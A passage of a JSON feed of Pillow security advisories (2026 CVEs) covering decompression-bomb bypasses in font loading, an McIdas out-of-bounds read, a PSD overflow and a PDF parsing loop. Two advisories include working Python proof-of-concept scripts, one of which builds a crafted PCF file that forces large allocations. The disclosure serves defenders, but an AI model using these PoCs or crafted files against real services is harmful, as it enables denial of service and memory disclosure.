00NWhxLWN4d2gtZjZ2Y84ABcP2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","url":"https://github.com/advisories/GHSA-5x94-69rx-g8h2","title":"Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`","description":"## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64–92):**\n\n```python\ndef compile(self) -\u003e None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled\n            w = w + (src[2] - src[0])\n            if w \u003e WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)\n    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here ←\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # ← unchecked allocation\n```\n\n**\"Slow accumulation\" attack — per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |\n| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines × h | 256 × 65,535 = **16,776,960** |\n| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75×** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px \u003c 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise — unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # → Image.new(\"1\", (800, 224000)) — no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001× DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)\n# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |\n| Font pipeline: load → render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2","https://nvd.nist.gov/vuln/detail/CVE-2026-54060","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-5x94-69rx-g8h2"],"source_kind":"github","identifiers":["GHSA-5x94-69rx-g8h2","CVE-2026-54060"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-08-12T04:01:01.469Z","epss_percentage":0.00418,"epss_percentile":0.34555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","url":"https://github.com/advisories/GHSA-8v84-f9pq-wr9x","title":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x","https://nvd.nist.gov/vuln/detail/CVE-2026-54059","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-8v84-f9pq-wr9x"],"source_kind":"github","identifiers":["GHSA-8v84-f9pq-wr9x","CVE-2026-54059"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-07-26T14:00:31.665Z","epss_percentage":0.0041,"epss_percentile":0.33542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","url":"https://github.com/advisories/GHSA-62p4-gmf7-7g93","title":"Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)","description":"## Summary\n\nWhen Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride \u003c= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.\n\nThe **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,\n`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).\n\n\n## Complete Code Trace\n\n**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.\n\n```python\n# src/PIL/McIdasImagePlugin.py:41-70\ns = self.fp.read(256)\nif not _accept(s) or len(s) != 256:        # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\"\n    raise SyntaxError(...)\nself.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled\n\nif w[11] == 1:\n    mode = rawmode = \"L\"                    # pixelsize 1, in _MAPMODES\nelif w[11] == 2:\n    mode = rawmode = \"I;16B\"                # pixelsize 2, in _MAPMODES\n...\nself._mode = mode\nself._size = w[10], w[9]                    # (xsize, ysize)  \u003c-- attacker\noffset = w[34] + w[15]                       # \u003c-- attacker\nstride = w[15] + w[10] * w[11] * w[14]       # \u003c-- attacker (set w[14]=0, w[15]=1 =\u003e stride=1)\nself.tile = [\n    ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1))\n]\n```\n\n**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.\n\n```python\n# src/PIL/ImageFile.py:322-348\nif use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1\n    decoder_name, extents, offset, args = self.tile[0]\n    if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) \u003e= 3\n            and args[0] == self.mode and args[0] in Image._MAPMODES):\n        if offset \u003c 0:                       # only lower-bound guard on offset\n            raise ValueError(\"Tile offset cannot be negative\")\n        with open(self.filename) as fp:\n            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)\n        if offset + self.size[1] * args[1] \u003e self.map.size():   # == offset + ysize*stride; NO stride\u003e=linesize check\n            raise OSError(\"buffer is not large enough\")\n        self.im = Image.core.map_buffer(\n            self.map, self.size, decoder_name, offset, args      # args = (\"L\", stride, 1)\n        )\n```\n\n**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride \u003e= row width`.\n\n```c\n/* src/map.c:65-140 */\nif (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\",\n        \u0026target, \u0026xsize, \u0026ysize, \u0026codec, \u0026offset, \u0026mode_name, \u0026stride, \u0026ystep))\n    return NULL;\n...\nconst ModeID mode = findModeID(mode_name);          /* \"L\" */\n\nif (stride \u003c= 0) {                                  /* attacker sets stride=1 (\u003e0) -\u003e NOT recomputed */\n    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;\n    else if (isModeI16(mode)) stride = xsize * 2;\n    else stride = xsize * 4;\n}\n\nif (stride \u003e 0 \u0026\u0026 ysize \u003e PY_SSIZE_T_MAX / stride) {/* overflow guard only */\n    PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL;\n}\nsize = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */\n\nif (offset \u003e PY_SSIZE_T_MAX - size) { ... }\n...\nif (offset + size \u003e view.len) {                     /* 1 + 1 = 2 \u003c= 256 -\u003e PASSES */\n    PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\");\n    PyBuffer_Release(\u0026view); return NULL;\n}\n\nim = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));\n/* im-\u003elinesize = xsize * pixelsize = 200000  (the REAL per-row read width) */\n\n/* setup file pointers -- NO check that stride \u003e= im-\u003elinesize */\nif (ystep \u003e 0) {\n    for (y = 0; y \u003c ysize; y++) {\n        im-\u003eimage[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */\n    }\n} else { ... }\n```\n\n`im-\u003elinesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two.\n\n**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im-\u003eimage[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.\n\n```c\n/* the raw \"L\" packer copies linesize (=xsize) bytes per row from im-\u003eimage[y];\n   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */\n```\n\n## Chain Summary\n\n```\nSOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)\n  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -\u003e attacker sets stride=1   [McIdasImagePlugin.py:66]\n  ↓ tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1))                                     [McIdasImagePlugin.py:68]\nGADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride\u003c=len  \u003c- BUG: no stride\u003e=linesize check  [ImageFile.py:343]\n  ↓ core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1))                              [ImageFile.py:346]\nSINK: PyImaging_MapBuffer: im-\u003eimage[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]\n  ↓ Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im-\u003eimage[0]\nIMPACT: reads xsize bytes from a tiny mmap -\u003e OOB read of adjacent process memory (leak) or SIGBUS (DoS)\n```\n## Proof of Concept\n\nSee attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)\n\n\n## Impact on a Parent Application\n\nAny application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:\n\n- **Information disclosure (High):** the decoded \"image\" contains bytes of the   worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.\n- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.\n\n## Suggested fix\nCore fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset \u003c 0` and `stride \u003c im-\u003elinesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset \u003c 0` or `stride \u003c xsize*pixelsize` .","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93","https://nvd.nist.gov/vuln/detail/CVE-2026-54058","https://github.com/python-pillow/Pillow/pull/9719","https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-62p4-gmf7-7g93"],"source_kind":"github","identifiers":["GHSA-62p4-gmf7-7g93","CVE-2026-54058"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-08-10T06:01:00.183Z","epss_percentage":0.00476,"epss_percentile":0.38673,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","url":"https://github.com/advisories/GHSA-pwv6-vv43-88gr","title":"Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)","description":"### Impact\nProcessing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.\n\n### Patches\nPatched version: 12.2.0\n\nPillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.\n\n### Workarounds\nUse any version but affected versions: \u003e= 10.3.0, \u003c 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9520 \n - Original issue: CVE-2026-25990 (Pillow 12.1.1)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-04T20:20:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc","https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr","https://github.com/python-pillow/Pillow/pull/9520","https://nvd.nist.gov/vuln/detail/CVE-2026-42311","https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/advisories/GHSA-pwv6-vv43-88gr"],"source_kind":"github","identifiers":["GHSA-pwv6-vv43-88gr","CVE-2026-42311"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-07-04T20:01:18.031Z","epss_percentage":0.0015,"epss_percentile":0.0452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","url":"https://github.com/advisories/GHSA-r73j-pqj5-w3x7","title":"Pillow has a PDF Parsing Trailer Infinite Loop (DoS)","description":"### Impact\nAn attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.\n\n### Patches\nPatched version: 12.2.0.\n\nPdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a\ntrailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a\nlonger cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an\nerror if a cycle is detected.\n\n### Workarounds\nUse any version but the affected versions: \u003e= 4.2.0, \u003c 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9519","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:19:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-r73j-pqj5-w3x7","https://github.com/python-pillow/Pillow/pull/9519","https://nvd.nist.gov/vuln/detail/CVE-2026-42310","https://github.com/python-pillow/Pillow/commit/3bf614e4b8615d0ce1d5039efaf6db447fe7c468","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/advisories/GHSA-r73j-pqj5-w3x7"],"source_kind":"github","identifiers":["GHSA-r73j-pqj5-w3x7","CVE-2026-42310"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-07-04T20:01:18.031Z","epss_percentage":0.00126,"epss_percentile":0.02588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 4.2.0, \u003c 